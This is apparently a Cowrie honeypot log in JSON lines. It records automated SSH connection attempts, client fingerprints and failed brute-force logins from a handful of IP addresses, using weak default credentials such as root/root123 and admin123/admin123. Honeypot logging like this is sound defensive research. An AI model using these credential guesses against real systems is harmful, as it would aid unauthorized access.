{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:41.129028Z","src_ip":"141.11.88.14","session":"bee527549f99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":27754,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cd0277adcf7","protocol":"ssh","message":"New connection: 141.11.88.14:27754 (10.17.0.5:22) [session: 7cd0277adcf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:47.483573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:47.501873Z","src_ip":"141.11.88.14","session":"7cd0277adcf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:47.594818Z","src_ip":"141.11.88.14","session":"7cd0277adcf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator2026","message":"login attempt [operator/operator2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:47.945355Z","src_ip":"141.11.88.14","session":"7cd0277adcf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:49.136661Z","src_ip":"141.11.88.14","session":"7cd0277adcf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":42326,"dst_ip":"10.17.0.5","dst_port":22,"session":"921d27827cbe","protocol":"ssh","message":"New connection: 103.143.231.24:42326 (10.17.0.5:22) [session: 921d27827cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:50.145196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:50.149522Z","src_ip":"103.143.231.24","session":"921d27827cbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:50.219266Z","src_ip":"103.143.231.24","session":"921d27827cbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:50.532949Z","src_ip":"103.143.231.24","session":"921d27827cbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:51.605448Z","src_ip":"103.143.231.24","session":"921d27827cbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":24220,"dst_ip":"10.17.0.5","dst_port":22,"session":"51e8eebb6732","protocol":"ssh","message":"New connection: 141.11.88.14:24220 (10.17.0.5:22) [session: 51e8eebb6732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:54.298370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:54.311365Z","src_ip":"141.11.88.14","session":"51e8eebb6732","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:54.380095Z","src_ip":"141.11.88.14","session":"51e8eebb6732","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:54.806793Z","src_ip":"141.11.88.14","session":"51e8eebb6732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:56.334679Z","src_ip":"141.11.88.14","session":"51e8eebb6732","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39312,"dst_ip":"10.17.0.5","dst_port":22,"session":"f966e000ba3a","protocol":"ssh","message":"New connection: 141.11.88.14:39312 (10.17.0.5:22) [session: f966e000ba3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:01.216790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:01.329883Z","src_ip":"141.11.88.14","session":"f966e000ba3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:01.333628Z","src_ip":"141.11.88.14","session":"f966e000ba3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123456","message":"login attempt [root/qazwsx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:02.390173Z","src_ip":"141.11.88.14","session":"f966e000ba3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:03.518044Z","src_ip":"141.11.88.14","session":"f966e000ba3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":60608,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a91f361aaa4","protocol":"ssh","message":"New connection: 41.86.34.139:60608 (10.17.0.5:22) [session: 5a91f361aaa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:06.345997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:06.351361Z","src_ip":"41.86.34.139","session":"5a91f361aaa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:06.586211Z","src_ip":"41.86.34.139","session":"5a91f361aaa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sql","password":"123","message":"login attempt [sql/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:07.457052Z","src_ip":"41.86.34.139","session":"5a91f361aaa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:08.669669Z","src_ip":"41.86.34.139","session":"5a91f361aaa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":25118,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9dbd6e66f39","protocol":"ssh","message":"New connection: 141.11.88.14:25118 (10.17.0.5:22) [session: f9dbd6e66f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:09.097648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:09.143914Z","src_ip":"141.11.88.14","session":"f9dbd6e66f39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:09.255195Z","src_ip":"141.11.88.14","session":"f9dbd6e66f39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"1234","message":"login attempt [cloud/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:10.209346Z","src_ip":"141.11.88.14","session":"f9dbd6e66f39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:11.314156Z","src_ip":"141.11.88.14","session":"f9dbd6e66f39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":49560,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e5844d8fcc5","protocol":"ssh","message":"New connection: 141.11.88.14:49560 (10.17.0.5:22) [session: 0e5844d8fcc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:17.756305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:17.868365Z","src_ip":"141.11.88.14","session":"0e5844d8fcc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:17.872298Z","src_ip":"141.11.88.14","session":"0e5844d8fcc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.054463386535645,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:17.913897Z","src_ip":"128.199.8.54","session":"2eb110a63131","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:19.045487Z","src_ip":"141.11.88.14","session":"0e5844d8fcc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:20.166888Z","src_ip":"141.11.88.14","session":"0e5844d8fcc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":49580,"dst_ip":"10.17.0.5","dst_port":22,"session":"161802f2a1bc","protocol":"ssh","message":"New connection: 141.11.88.14:49580 (10.17.0.5:22) [session: 161802f2a1bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:24.578788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:24.768030Z","src_ip":"141.11.88.14","session":"161802f2a1bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:24.772057Z","src_ip":"141.11.88.14","session":"161802f2a1bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yellow","password":"yellow","message":"login attempt [yellow/yellow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:25.257915Z","src_ip":"141.11.88.14","session":"161802f2a1bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:26.343529Z","src_ip":"141.11.88.14","session":"161802f2a1bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":59434,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e3c52d0fcba","protocol":"ssh","message":"New connection: 27.71.230.31:59434 (159.203.135.109:22) [session: 9e3c52d0fcba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:29.129473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:29.228569Z","src_ip":"27.71.230.31","session":"9e3c52d0fcba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63740,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab6c4850085c","protocol":"ssh","message":"New connection: 141.11.88.14:63740 (10.17.0.5:22) [session: ab6c4850085c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:31.368914Z"}
